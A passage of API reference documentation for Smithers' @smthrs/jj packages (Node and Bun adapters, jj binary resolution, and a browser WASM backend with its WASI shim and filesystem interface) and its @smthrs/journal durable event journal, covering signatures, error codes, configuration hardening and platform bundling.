probe does not require the repository directory. Bound layers can be built
before runtime storage creates that directory; operations still require a valid
working directory. A supported probe result is shared per absolute path and
runner for the process lifetime. Each host spawner has its own probe cache. A
failed probe is not remembered, so the next operation probes again. Restart the
process after replacing an accepted binary at the same path, or after installing
jj where none was found. Operations keep using the selected path even if the
host or spawner PATH changes. An older or unrecognized version fails the
operation with `JjError.code = "unsupported_version"` and the required minimum;
a missing binary fails it with `not_installed`. The four CLI layers have no
error channel.

Node and Bun repository commands (except `root`) disable jj's default new-file size limit with
`--config snapshot.max-new-file-size=0`, so new artifacts larger than 1 MiB are
included. Any command that still warns `Refused to snapshot some files` fails
with `JjError.code = "snapshot_refused"`, even when jj exits successfully.

Every Node and Bun command passes `--color=never`, so a user config that sets
`ui.color = "always"` cannot put ANSI escapes into change ids, diffs, or roots.

Every Node and Bun command also passes `--config signing.behavior=drop`,
`--config fsmonitor.backend=none`, and `--config
signing.backends.<gpg|gpgsm|ssh>.program=/dev/null`, so no config file can
make jj start a signing, verification, or fsmonitor program. `--config`
outranks every config file. A commit these layers rewrite, such as a
snapshotted `@`, comes out unsigned.

Anything running in the checkout can write `.jj/`. When `.jj/repo/config-id`
or `.jj/workspace-config-id` is missing, jj imports `.jj/repo/config.toml` or
`.jj/workspace-config.toml` into its trusted config store on the next command.
The Node and Bun layers refuse to run while either file is waiting to be
imported, because a planted file could redefine `commit_id(x)` or the
templates `snapshot` reads. `snapshot` fails `unknown` if the values jj prints
are not a commit id, change id, and operation id.

A revision passed to `restore`, `diff`, `revert`, or `workspaceAdd` must be `@`,
`@-`, a hex commit id, or a reverse-hex change id; any other string fails
`invalid_ref` before jj is spawned. The Node and Bun layers look an id up as
`exactly(commit_id(id), 1)` or `exactly(change_id(id), 1)`, so a bookmark or
tag named after a recorded commit id cannot redirect a restore. Aliases already
in jj's trusted config store are the operator's and still apply.

One invocation buffers at most 64 MiB of each output stream, counted in bytes as
they arrive rather than in decoded characters, and past the ceiling the child is
killed and the operation fails `unknown`. The `command` recorded on a failure is
the argv rendered back as a typed line, capped at 512 characters. Both layers
apply both bounds.

A spawn that never produced a process is still a `JjError`.
`node:child_process` throws rather than emitting an `error` event for most
failures, so the adapter guards the construction, and it probes the working
directory before blaming the binary: a bound layer pointed at a directory that
is gone reports the directory rather than claiming jj is not installed.

### @smthrs/jj/bun/BunJj

Bun implements the same child-process API, so `BunJj` re-exports all four Node
layers rather than shipping a second implementation. Sharing the adapter is what
keeps the two runtimes from drifting.

| Export           | Same object as          |
| ---------------- | ----------------------- |
| `layer`          | `NodeJj.layer`          |
| `layerAt`        | `NodeJj.layerAt`        |
| `layerSpawner`   | `NodeJj.layerSpawner`   |
| `layerSpawnerAt` | `NodeJj.layerSpawnerAt` |

### @smthrs/jj/node/resolveJjBinary

Decides which file `jj` is, and explains the answer.

| Export                            | Signature                                                                                                                                                                 |
| --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `resolveJjBinary(options?)`       | `(options?: Options) => Resolved`                                                                                                                                         |
| `describe(resolved)`              | `(resolved: Resolved) => string`                                                                                                                                          |
| `overrideVariables`               | `ReadonlyArray<string>`, currently `["SMITHERS_JJ_PATH"]`                                                                                                                 |
| `isExecutable(file, options?)`    | `(file: string, options?: { platform?: NodeJS.Platform; access?: (file: string, mode: number) => void }) => boolean`                                                      |
| `permissionHint(file, platform?)` | `(file: string, platform?: NodeJS.Platform) => string`                                                                                                                    |
| `shellQuote(value)`               | `(value: string) => string`                                                                                                                                               |
| `Source`                          | `type Source = "env" \| "path"`                                                                                                                                           |
| `Resolved`                        | `interface { path: string; source: Source; executable: boolean; hint?: string; variable?: string; ignored?: { variable: string; path: string } }`                         |
| `Options`                         | `interface { environment?: Record<string, string \| undefined>; platform?: NodeJS.Platform; exists?: (file: string) => boolean; executable?: (file: string) => boolean }` |

`SMITHERS_JJ_PATH` names the binary the adapter spawns. An override that names
an existing file stays authoritative even when it cannot be executed, so a
broken explicit path is reported instead of a different binary being quietly
substituted. An override that names nothing falls through to `PATH`, and the
fall-through is reported in `describe()`, and the Node and Bun layers log a
warning annotated with the variable and path when they are built. Existing overrides and executable
PATH candidates resolve to absolute host paths. Relative paths resolve against
the host cwd when the layer is built. The first operation's version probe and
every operation use the same path through the same runner, including when the
host spawner changes PATH.
`smthrs doctor` prints `describe()`.

`resolveJjBinary` always returns a command: when jj is genuinely absent it
answers the bare name `jj` with `executable: false` and a hint, which keeps
the typed `not_installed` failure while giving `doctor` something specific
to print. `NodeJj` never spawns this unresolved fallback. The package vendors no
`jj` binaries and downloads none, so there is no bundled-package branch to fall
back to.

Every probe in `Options` is injectable, so a test pins the resolution order
without staging a filesystem. `isExecutable` checks the execute bit on POSIX and
mere existence on Windows; it is a probe and never a `chmod`. `permissionHint`
adds the macOS quarantine tip only on darwin, and quotes the path with
`shellQuote`, because the hint is remediation an operator pastes into a shell.

### @smthrs/jj/browser/BrowserJj

jj is a native binary, but jj-lib compiles to `wasm32-wasip1`.
`BrowserJj.layer({ fs, wasm })` runs the `flows_jj.wasm` reactor shipped at this
package's `wasm/flows_jj.wasm` over an injected virtual filesystem, through the
hand-written WASI preview 1 shim in this package. The mount and the compiled
module are arguments rather than dependencies, so the library never picks a
storage backend for its host, and persistence stays the page's concern.

| Export                 | Signature                                                 |
| ---------------------- | --------------------------------------------------------- |
| `make(options)`        | `(options: BrowserJjOptions) => Jj`                       |
| `layer(options)`       | `(options: BrowserJjOptions) => Layer<Jj>`                |
| `makeScoped(options)`  | `(options: BrowserJjOptions) => Effect<Jj, never, Scope>` |
| `layerScoped(options)` | `(options: BrowserJjOptions) => Layer<Jj>`                |
| `layerUnsupported`     | `Layer<Jj>`                                               |
| `BrowserJjOptions`     | `interface` (below)                                       |

| `BrowserJjOptions` field | Type                                 | Meaning                                                            |
| ------------------------ | ------------------------------------ | ------------------------------------------------------------------ |
| `wasm`                   | `WebAssembly.Module \| BufferSource` | The reactor, precompiled or as raw bytes. The layer never fetches. |
| `fs`                     | `SyncFsLike`                         | The synchronous filesystem the repository lives on.                |
| `root`                   | `string`, default `"/"`              | The workspace root inside that namespace.                          |
| `onStdout`               | `(text: string) => void`             | Receives jj-lib's stdout. Unset drops it.                          |
| `onStderr`               | `(text: string) => void`             | Receives jj-lib's stderr, where Rust panics arrive.                |

`root`, `fs`, `onStdout`, and `onStderr` are read once, when `make` is called.
`wasm` is read once too, but later, at the first operation, which is what lets a
page hand over bytes it is still loading. Raw bytes are copied at that read, so
the executable authority cannot be swapped between a failed operation and a
retry. Instantiation is lazy, and every operation runs under a single-permit
semaphore, because the wasm instance is single-threaded mutable state.

A reactor that traps (a Rust panic, `proc_exit`, a response outside memory) is
discarded: the shim closes every host descriptor the guest still held, and the
next operation instantiates a fresh reactor. `layerScoped` and `makeScoped`
close the live reactor the same way when their scope closes, after which every
operation fails with `unknown`. `layer` and `make` have no end of life beyond a
trap; the live reactor's descriptors last as long as the page.

`BrowserJj.layerUnsupported` is the layer for a host that ships no module. Every
operation reports `not_installed`, the same code the Node adapter reports for a
missing binary, so a caller needs no browser-specific branch. The command each
failure names is the one `NodeJj` would have run.

Three places where the frozen wasm ABI shapes browser behavior:

- `revert` is defined and always fails `not_installed`, with the message "jj is
  not available in the browser". The ABI has no revert operation. The method
  stays present so feature detection never depends on an optional property
  disappearing: ask, and read the code you get back.
- `workspaceAdd` with a revision is two calls, an add followed by a restore
  rooted at the new lane. The whole sequence runs uninterruptibly. If the pin
  fails, the adapter attempts a `workspaceForget` and reports the pin failure
  against `workspaceAdd`. A successful rollback frees the lane name but leaves
  the lane directory on disk, which is what `workspaceForget` does everywhere.
  If the rollback itself fails, the lane can stay registered. The caller still
  receives the pin failure, which is the one it can act on. Only a single ABI
  operation can make the pair atomic. The Node CLI adapter also adds then
  restores a pinned lane and makes the same compensating forget attempt.
- `root(from)` answers the configured slice root, and fails when `from` is not
  inside it rather than answering for an unrelated tree.

Every other divergence, including initialization and real symlink rejection,
is in [Run jj in a browser tab](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/jj/docs/guides/run-jj-in-a-browser.md#where-the-wasm-backend-answers-differently).

### @smthrs/jj/browser/WasiPreview1

The syscall layer under the wasm build of jj, public because it is testable
without any wasm module: `make` returns plain functions over memory, a
filesystem, and a file-descriptor table.

| Export                | Signature                                                                                                                  |
| --------------------- | -------------------------------------------------------------------------------------------------------------------------- |
| `make(options)`       | `(options: WasiPreview1Options) => WasiPreview1`                                                                           |
| `Errno`               | A frozen record of WASI preview 1 errno names to numbers.                                                                  |
| `WasiExitError`       | Tagged error `@smthrs/jj/WasiExitError` with `readonly exitCode: number`, the unsigned `proc_exit` code                    |
| `WasiPreview1Options` | `interface { fs: SyncFsLike; root?: string; onStdout?: (text: string) => void; onStderr?: (text: string) => void }`        |
| `WasiPreview1`        | `interface { imports: Record<string, (...args: Array<any>) => number>; initialize: (memory: WebAssembly.Memory) => void }` |

Instantiate the module with `{ wasi_snapshot_preview1: shim.imports }`, then
call `initialize(memory)` before the module's `_initialize` runs, because
`_initialize` may already issue syscalls. One preopen is exposed: fd 3 names
`"/"`, mapped to `root` in the slice.

`Errno` is exported so tests assert numbers against spec names rather than magic
literals. `WasiExitError` is what a `proc_exit` from a reactor module becomes: a
thrown error that traps the calling export, which `BrowserJj` reports as a
failed operation.

The `root` option maps the guest namespace to one slice only when the host
excludes concurrent namespace mutation during each WASI syscall or the backend
independently confines every read and mutation. This includes replacement of
`root` and its host ancestors by native processes, other workers, or reentrant
backend callbacks. `SyncFsLike` uses separate string-path checks and operations;
the shim is not a security sandbox for `node:fs` under concurrent mutation and
does not detect or reject concurrent writers. Synchronous guest execution alone
does not satisfy the namespace-ownership requirement.

With that requirement satisfied, `..` of the namespace root is the root.
Symlinks resolve in namespace coordinates: absolute targets are re-rooted at
the preopen, and relative targets resolve against the link's directory.
Traversed ancestors must exist and be directories after expansion, including
components consumed by `..`. `/file/../victim` returns `ENOTDIR` when `file` is a
regular file; `/missing/../victim` returns `ENOENT`. A chain that exceeds the hop
budget returns `ELOOP`. No-follow rejects stable final symlinks with `ELOOP`.

Honest divergences from a kernel WASI host, documented rather than hidden:

- `fd_sync` and `fd_datasync` only validate the descriptor and report success.
  The slice has no flush operation and provides no durability barrier. After
  operations that must survive a reload, await the host mount's `sync` as
  described in [Durability is the mount's job](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/jj/docs/guides/run-jj-in-a-browser.md#durability-is-the-mounts-job).
- `poll_oneoff` reports every subscription complete immediately: clock waits
  become yields, and a synchronous filesystem is always ready.
- `path_link` is `notsup`: the slice has no `linkSync`, and the jj code paths
  this package exercises never hard-link.
- `path_filestat_set_times` always follows symlinks, because the slice has no
  `lutimesSync`.
- `fd_readdir` lists the directory once per enumeration. A call at cookie zero
  takes a snapshot on the descriptor, later pages index it by cookie, and the
  snapshot is released when a page past the end yields nothing or the
  descriptor closes. Entries added or removed during an enumeration appear on
  the next cookie-zero enumeration.
- A directory file descriptor names a path, not an inode. Renaming the directory
  a descriptor was opened on makes the descriptor follow the name, where POSIX
  would keep naming the moved directory. Remembering the host path at open time
  would be worse than a divergence: a symlink left at the old name would then be
  followed out of the preopen.
- `sock_*` and `proc_raise` are `notsup`; there are no sockets or signals in a
  tab.

### @smthrs/jj/browser/WasiFs

Names the synchronous filesystem shape the shim runs over, and imports nothing,
so the browser bundle decides which backend is mounted.

| Export           | Meaning                                                                                                                                                                                                                                                           |
| ---------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SyncFsLike`     | The filesystem surface: `openSync`, `closeSync`, `readSync`, `writeSync`, `fstatSync`, `ftruncateSync`, `futimesSync`, `statSync`, `lstatSync`, `mkdirSync`, `readdirSync`, `renameSync`, `unlinkSync`, `rmdirSync`, `readlinkSync`, `symlinkSync`, `utimesSync`. |
| `SyncStatsLike`  | The `Stats` subset the shim reads: `size`, `atimeMs`, `mtimeMs`, `ctimeMs`, optional `ino`, and the three `is*` predicates.                                                                                                                                       |
| `SyncDirentLike` | The `Dirent` subset `fd_readdir` needs: `name` and the three `is*` predicates.                                                                                                                                                                                    |

Both ZenFS's sync API and Node's `node:fs` satisfy the shape structurally. Two
deliberate consequences: `openSync` takes Node string flags (`"r"`, `"r+"`,
`"w"`, `"wx"`) rather than numeric `O_*` constants, which are platform specific
and live on a module this slice refuses to import; and errors must be thrown
with a Node-style string `code` property (`"ENOENT"`, `"EEXIST"`, `"ENOTDIR"`),
which the shim maps onto WASI errno values.

The slice has no flush operation such as `fsyncSync`, so `fd_sync` and
`fd_datasync` provide no durability barrier. Synchronous completion does not
establish persistence. The host must await its mount's `sync` after operations
that must survive a reload; see [Durability is the mount's job](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/jj/docs/guides/run-jj-in-a-browser.md#durability-is-the-mounts-job).

`ftruncateSync` is the sole truncation member. It and `futimesSync` are required because
the descriptor-addressed WASI calls must follow the open file even after a
rename, which is the shape of jj's tempfile-persist path.

## Durable identity

The tag key `@smthrs/jj/Jj` and the error `_tag` `@smthrs/jj/JjError` are
durable identity: step keys digest the resolved service set, and `JjError`
round-trips through the journal, so renaming either invalidates recorded runs.
[test/index.test.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/jj/test/index.test.ts)
pins both. See [Content addressing](/docs/concepts/content-addressing/).

## Which entry points bundle for a browser

| Entry point                       | Bundles for a browser                  |
| --------------------------------- | -------------------------------------- |
| `@smthrs/jj`                      | Yes. Contract, error, and no-op layer. |
| `@smthrs/jj/browser/BrowserJj`    | Yes.                                   |
| `@smthrs/jj/browser/WasiPreview1` | Yes.                                   |
| `@smthrs/jj/browser/WasiFs`       | Yes. Types only, and imports nothing.  |
| `@smthrs/jj/node/NodeJj`          | No. Imports `node:child_process`.      |
| `@smthrs/jj/node/resolveJjBinary` | No. Imports `node:fs` and `node:path`. |
| `@smthrs/jj/bun/BunJj`            | No. Re-exports the Node adapter.       |

Those answers are executed rather than asserted. Every entry point in the table
is bundled for a browser target and the result is required to match the column:
`@smthrs/jj` and `@smthrs/jj/browser/BrowserJj` must bundle, while
`@smthrs/jj/node/NodeJj` and `@smthrs/jj/bun/BunJj` must still fail, and fail
only because `node:child_process` is unresolvable. A Node dependency can
therefore neither creep into the contract nor silently disappear from the
adapters. Import the contract anywhere and pick the implementation per platform,
the same way `effect` keeps `@effect/platform-node` out of `effect`.

## Reading next

[`@smthrs/kernel`](/docs/reference/api/kernel/) owns the closed service list and decorates `Jj`
with capability checks, and [`@smthrs/time-travel`](/docs/reference/api/time-travel/) uses it for
workspace snapshot and restore. See also
[Capabilities and the host kernel](/docs/concepts/kernel/) and
[Time travel](/docs/concepts/time-travel/).

BrowserJj status, diff, and restore refuse missing repositories with typed
`unknown` failures and never initialize them. Snapshot explicitly invokes the
wasm `init` operation if the repository is absent.
The published package includes a generated Rust dependency inventory in
`THIRD_PARTY_NOTICES.md`. Maintainers regenerate it from the locked wasm Cargo
graph with `node packages/smithers/flows/jj/scripts/generate-third-party-notices.mjs`; Rust CI runs the
script with `--check` to reject attribution drift.

---

# @smthrs/journal
https://smithers.sh/docs/reference/api/journal/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/journal/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/journal/docs)

> **Related APIs:** [`@smthrs/database`](/docs/reference/api/database/)

```ts
import * as DurableWriter from "@smthrs/database/DurableWriter"
import * as NodeDatabase from "@smthrs/database/node/NodeDatabase"
import { Journal, JournalEvent, Migrations, SqlJournal } from "@smthrs/journal"
import * as Layer from "effect/Layer"

const database = Layer.provideMerge(
  DurableWriter.layer(),
  NodeDatabase.layer({ filename: "flows.db" })
)

const journal = SqlJournal.layer({ capacity: 1024, overflow: "reject" }).pipe(
  Layer.provide(Layer.provideMerge(Migrations.layer, database))
)
```

## Entry points

| Import                             | Source                                                                                                                              | Platform |
| ---------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | -------- |
| `@smthrs/journal`                  | [src/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/src/index.ts)                       | any      |
| `@smthrs/journal/test/TestJournal` | [src/test/TestJournal.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/src/test/TestJournal.ts) | Node     |
| `@smthrs/journal/test/Notifying`   | [src/test/Notifying.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/src/test/Notifying.ts)     | any      |

Every module in the root is also importable from `@smthrs/journal/<Module>`.
The root holds the journal and its contracts, written against the
driver-neutral `@smthrs/database` service, and it bundles for the browser. The
test doubles are kept out of it and live under explicit subpaths; of the two,
only `TestJournal` binds a Node SQLite database, which is what the platform
column above records. See
[platform support](/docs/reference/api/#platform-support).

## Journal

`Journal.Journal` is the service tag; `Journal.Service` is its interface.
Fallible journal operations use `JournalError` with a stable `code`.

### Operations

| Method                | Signature                                                                                          | Behavior                                                                                                                                                                    |
| --------------------- | -------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `emitLossy`           | `(input: Input) => Effect<EmitReceipt, JournalError>`                                              | bounded non-blocking queue; may return `Dropped`                                                                                                                            |
| `emitDurable`         | `(input: Input, owner: OwnerId) => Effect<DurableReceipt, JournalError>`                           | allocates and commits inside the write transaction, fenced on `owner`                                                                                                       |
| `emitDurableUnfenced` | `(input: Input) => Effect<DurableReceipt, JournalError>`                                           | the same commit with no fence, for a genuinely ownerless admission                                                                                                          |
| `emitDeferred?`       | `(input: Input, owner: OwnerId) => Effect<void, JournalError>`                                     | queues a fenced entry to commit with its run's next durable write                                                                                                           |
| `recall?`             | `(runId: RunId) => Effect<void, JournalError>`                                                     | reads the run's latest committed entries into memory in one read, so their re-emissions are answered without a write                                                        |
| `recorded?`           | `(input: Input) => Effect<boolean>`                                                                | whether the journal knows `input` is committed, by identity and content, without a read; `false` means not known                                                            |
| `transact`            | `<A, E, R>(effect: Effect<A, E, R>, options?: WriteOptions) => Effect<A, E \| JournalError, R>`    | runs a state projection and its `emitDurable` calls in one transaction; `options.partition` names the run it writes                                                         |
| `whenCommitted`       | `(update: Effect<void>) => Effect<boolean>`                                                        | accepts a short, non-failing update after managed commit, or runs it immediately outside a transaction; returns `false` without publishing when commit ownership is unknown |
| `stream`              | `(options: StreamOptions) => Stream<Entry, JournalError>`                                          | durable history, then committed changes; never completes                                                                                                                    |
| `entries`             | `(options: EntriesOptions) => Effect<EntriesPage, JournalError>`                                   | paged read                                                                                                                                                                  |
| `changes`             | `Effect<PubSub.Subscription<Entry>, never, Scope>`                                                 | post-commit publication, bounded and sliding                                                                                                                                |
| `project`             | `<S, E, R>(projection: Projection<S, E, R>, options: StreamOptions) => Stream<S, JournalError, R>` | folds `stream` through a deterministic reducer                                                                                                                              |
| `flush`               | `Effect<void, JournalError>`                                                                       | barrier for the lossy queue                                                                                                                                                 |
| `checkpoint`          | `(options: CheckpointOptions, owner: OwnerId) => Effect<Checkpoint, JournalError>`                 | durably captures replay state at a committed sequence, in `transact`'s discipline                                                                                           |
| `latestCheckpoint`    | `(runId: RunId) => Effect<Option<Checkpoint>, JournalError>`                                       | the resync point for a compacted run                                                                                                                                        |
| `compact`             | `(options: CompactOptions, owner: OwnerId) => Effect<Compacted, JournalError>`                     | truncates strictly below a checkpoint, atomically with the floor advance                                                                                                    |
| `generation?`         | `(runId: RunId) => Effect<{ generation: number; afterSeq: number }, JournalError>`                 | optional durable rewind generation and archive boundary; omission means generation zero                                                                                     |

`whenCommitted` returning `true` means accepted, possibly deferred. Failed
savepoints and transaction retries discard their registrations. See
[commit state and its entry together](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/docs/guides/commit-state-and-entry.md).

`emitDeferred` queues a fenced lifecycle entry instead of writing it, and the
run's next durable write through the journal commits it first: the next
`emitDurable`, `emitDurableUnfenced` or `checkpoint` of the run, a `transact`
that names the run's partition, or `flush`. Inside an open transaction it writes
at once. The entry's sequence is allocated when it commits, so the run reads in
emission order and nothing commits behind a reader's cursor. An owner that lost
the run meanwhile loses what it queued and learns so from its own next fenced
write. The flow engine queues its node records this way, so a drive writes a
handful of transactions instead of one per record. Optional on the service: a
journal without it is used through `emitDurable`.

An entry the journal knows is committed with the same content is dropped
rather than queued. The journal knows what it committed itself, what its
startup read retained (the latest `sourceEventCache` entries), and what
`recall(runId)` read: the run's latest committed entries, in one statement. A
resumed run recalls its journal once and then re-emits every node record its
first walk wrote; none of them reaches the database.

`recorded(input)` answers the same question for a caller that would emit
durably: `true` when an entry with the producer identity (`sourceId` and
`sourceSeq`) and content of `input` is committed. It reads nothing, and `false`
means not known, never absent: an entry without a `sourceSeq` is new every
time, and an input the journal refuses is reported by its emit instead. Skipping
an emit because it is recorded is not a fenced write, so skip only an emit whose
caller then does nothing the fence guards. The engine store skips the records a
replay answered from a recorded attempt re-emits. Both are optional on the
service.

Every append, checkpoint and compaction writes its run's partition
(`DurableWriter.WriteOptions`), so on PostgreSQL it waits only for that run's
other writers; a companion stream is a partition of its own. `transact` names
the partition its caller passes, or none, which serializes it with every
writer.

`owner` is mandatory on `emitDurable`, `checkpoint`, and `compact`. The insert,
the checkpoint replacement, and the truncation join the `Consensus` strategy's
`guard` inside their write transaction and land only while the strategy still
records that owner as holding the run, and otherwise fail `fence_lost`. An owner that is missing, null, or not an `OwnerId` at all fails
`invalid_event` instead: that is a caller contract violation, and reporting it
as `fence_lost` would send the caller hunting a race that never happened.
`emitDurableUnfenced` is the one sanctioned ownerless path, for an import or a
repair tool that owns no run. Reaching for it to dodge `fence_lost` writes
exactly the zombie entry the fence exists to reject.

`SqlJournal.layer` fences through [`SqlConsensus`](#sqlconsensus), whose lease
table this package's own migrations create; `SqlJournal.layerWith` fences
through any injected [`Consensus`](#consensus).

### Errors

`JournalError` is a `Schema.TaggedError` with the tag
`"@smthrs/journal/JournalError"` and the fields `code`, `message`, optional
`cause`, and optional `checkpointSeq`.

| Member          | Type                 | Meaning                                                                                                                                                                    |
| --------------- | -------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `code`          | `JournalErrorCode`   | the stable classification                                                                                                                                                  |
| `message`       | `string`             | a human-readable description                                                                                                                                               |
| `cause`         | `unknown` (optional) | the underlying failure, for storage codes                                                                                                                                  |
| `checkpointSeq` | `Seq` (optional)     | on `compacted`, the run's floor; on `reader_behind`, the checkpoint a compaction refused to truncate below; on `checkpoint_invalid`, the floor that refused the checkpoint |

`JournalErrorCode` is one of `invalid_event`, `idempotency_conflict`,
`sequence_conflict`, `fence_lost`, `queue_overflow`, `journal_closed`,
`sink_failed`, `read_failed`, `decode_failed`, `projection_failed`,
`checkpoint_invalid`, `reader_behind`, `compacted`, and `unknown`. Each one is
diagnosed in [Troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/docs/troubleshooting.md).

### Receipts

| Export           | Shape                                | Returned when                                                                    |
| ---------------- | ------------------------------------ | -------------------------------------------------------------------------------- |
| `Accepted`       | `{ _tag, seq, sourceSeq, evicted? }` | a new event was admitted; `evicted` counts what a `drop-oldest` policy displaced |
| `Duplicate`      | `{ _tag, seq, sourceSeq, status }`   | an exact producer retry; `status` is `"pending"` or `"committed"`                |
| `Dropped`        | `{ _tag, seq, sourceSeq, policy }`   | a `drop-newest` policy discarded the event                                       |
| `EmitReceipt`    | `Accepted \| Duplicate \| Dropped`   | the lossy channel's union                                                        |
| `DurableReceipt` | `Accepted \| Duplicate`              | the durable channel's union; a dropped lifecycle event is unrepresentable        |

### Options and models

| Export              | Shape                                                                                                                                                                                                          |
| ------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `OverflowPolicy`    | `"reject" \| "drop-newest" \| "drop-oldest"`                                                                                                                                                                   |
| `StreamOptions`     | `{ runId, afterSequence? }`                                                                                                                                                                                    |
| `EntriesOptions`    | `{ runId, after?, eventTypes?, limit }`, `limit` in `1..maxEntriesLimit`; optional nonempty list of up to 64 exact types is filtered before pagination. Cursors stay canonical; compaction checks still apply. |
| `EntriesPage`       | `{ entries: ReadonlyArray<Entry>, hasMore: boolean }`                                                                                                                                                          |
| `CheckpointOptions` | `{ runId, seq, state }`                                                                                                                                                                                        |
| `Checkpoint`        | `{ runId, seq, state, createdAtMs, compactedAtMs }`, the last null until a compaction truncated below it                                                                                                       |
| `CompactOptions`    | `{ runId, upTo? }`, defaulting to the run's latest checkpoint                                                                                                                                                  |
| `Compacted`         | `{ runId, checkpointSeq, deleted }`, `deleted: 0` for a retried compaction                                                                                                                                     |
| `maxEntriesLimit`   | `10_000`, the largest page `entries` reads                                                                                                                                                                     |

### Constructors and layers

| Export      | Signature                                                                                        |
| ----------- | ------------------------------------------------------------------------------------------------ |
| `make`      | `(implementation: Service) => Service`                                                           |
| `makeNoop`  | `(overrides?: Partial<Service>) => Service`, every un-overridden method failing `journal_closed` |
| `layerNoop` | `(overrides?: Partial<Service>) => Layer<Journal>`                                               |

The closed stub's `transact` runs its effect directly, because a stub with no
sink has no transaction to open. A double that models rollback overrides it.

## JournalEvent

The durable event envelope. Event types and values remain an open envelope on
purpose: the durable core never closes them into an interpreter-specific union.

| Export                | Kind                                     | Meaning                                                                                                  |
| --------------------- | ---------------------------------------- | -------------------------------------------------------------------------------------------------------- |
| `RunId`               | branded schema and type                  | one durable run                                                                                          |
| `SourceId`            | branded schema and type                  | one event producer                                                                                       |
| `Seq`                 | branded schema and type                  | canonical per-run replay order                                                                           |
| `SourceSeq`           | branded schema and type                  | producer-local sequence, the idempotency key                                                             |
| `Dedupe`              | `"content" \| "identity"`                | what a re-emitted producer identity means                                                                |
| `Input`               | `Schema.Class`                           | `{ runId, sourceId, sourceSeq?, dedupe?, eventType, payload, meta? }`                                    |
| `Entry`               | `Schema.Class`                           | `{ runId, seq, eventId, sourceId, sourceSeq, emittedAtMs, eventType, payload, meta }`                    |
| `makeEventId`         | `(runId, sourceId, sourceSeq) => string` | the deterministic durable id, length-prefixed so a separator in an identifier cannot forge another tuple |
| `maxIdentifierLength` | `1024`                                   | the identifier ceiling                                                                                   |
| `companionRunId`      | `(stream, runId) => RunId`               | the id of the run's companion stream named `stream`                                                      |
| `companionPrefix`     | `"flows.companion/"`                     | the reserved prefix of every companion stream id                                                         |
| `isCompanionRunId`    | `(runId) => boolean`                     | whether a run id names a companion stream                                                                |

`RunId`, `SourceId`, and both an `Input`'s and a committed `Entry`'s
`eventType` are non-empty, at most `maxIdentifierLength` UTF-16 code units,
free of unpaired UTF-16 surrogates, and free of NUL. SQLite binds a lone
surrogate as U+FFFD, so two ill-formed identifiers that differ only in their
surrogates would land on one persisted key: the second run's first event would
dedupe into the first run's row, and a read by either id would return the same
history. SQLite's `length()` stops at the first NUL, so a NUL-bearing
identifier fails the column's own non-empty check and the caller is told the
sink failed about an identifier it had just supplied. Valid astral text is
ordinary text and round-trips exactly.

`Seq` and `SourceSeq` stop below `Number.MAX_SAFE_INTEGER`, so the journal can
always allocate the next sequence.

A companion stream carries one store's facts about a run beside the run's own
stream: an ordinary stream with its own sequence clock, named
`flows.companion/<stream>/<sha-256 of the run id>` so the id fits the
identifier ceiling for every run id. A consumer that reads the run's stream by
position never sees a companion fact, and a rewind or compaction of the run's
stream never truncates one. Each fact names its run in its payload.
`@smthrs/run-store` records ownership transitions on the `run-store` companion
stream, and refuses to create a run whose id begins with `companionPrefix`.

`entries`, `stream`, `checkpoint`, `latestCheckpoint`, and `compact` decode the
same schemas, so an identifier the writer refuses is refused on every read with
`invalid_event` rather than answered with an empty page.

## SqlJournal

`SqlJournal.layer(options)` provides the bounded telemetry writer and the
inline durable writer over `DurableWriter`.

```ts
declare const layer: (
  options: SqlJournalOptions
) => Layer.Layer<Journal, JournalError, DurableWriter | SqlClient.SqlClient>
```

| Option             | Type                 | Default             | Meaning                                                                                                      |
| ------------------ | -------------------- | ------------------- | ------------------------------------------------------------------------------------------------------------ |
| `capacity`         | `number`             | required            | entries held in the lossy admission queue and in the sliding `changes` buffer                                |
| `overflow`         | `OverflowPolicy`     | required            | what a full admission queue does                                                                             |
| `batchSize`        | `number`             | `min(capacity, 64)` | entries the queued writer commits per transaction; `stream` reads pages of `min(batchSize, maxEntriesLimit)` |
| `sourceEventCache` | `number`             | `4096`              | upper bound on the in-process producer-idempotency index                                                     |
| `maxEntryBytes`    | `number`             | unset               | largest single entry, in UTF-8 bytes of encoded `payload` plus `meta`                                        |
| `redact`           | `Redaction.Redactor` | `Redaction.make()`  | scrub applied before encoding                                                                                |
| `compaction`       | `CompactionPolicy`   | unset               | automatic checkpoint-and-compact policy                                                                      |

`CompactionPolicy` is `{ entryThreshold: number, capture: (runId: RunId, upTo: Seq) => Effect<unknown, unknown> }`.
Once a run's committed entry count reaches `entryThreshold`, the journal asks
`capture` for the caller's replay state at the run's durable tail, writes it as
a checkpoint at that sequence, and compacts below it. A capture is interrupted
after 30 seconds, and a failed or refused attempt is logged at warning, damped
for `entryThreshold` further committed entries, and never surfaced to the emit
that triggered it. The policy drives the internal unfenced channel, so it needs
no owner.

`capacity` bounds entries, never bytes. `maxEntryBytes` is checked after
encoding and before any sequence is allocated, so an entry over the bound fails
`invalid_event` and leaves no gap. It is unset by default because a running
engine may legitimately write large payloads and a cap introduced under one
would refuse writes that used to succeed.

`sourceEventCache` bounds a cache, never the authority: the database unique
constraint on `(run_id, source_id, source_seq)` stays authoritative, so a miss
changes the receipt, not the durable answer. Resident memory and startup decode
are proportional to this bound rather than to total history. See
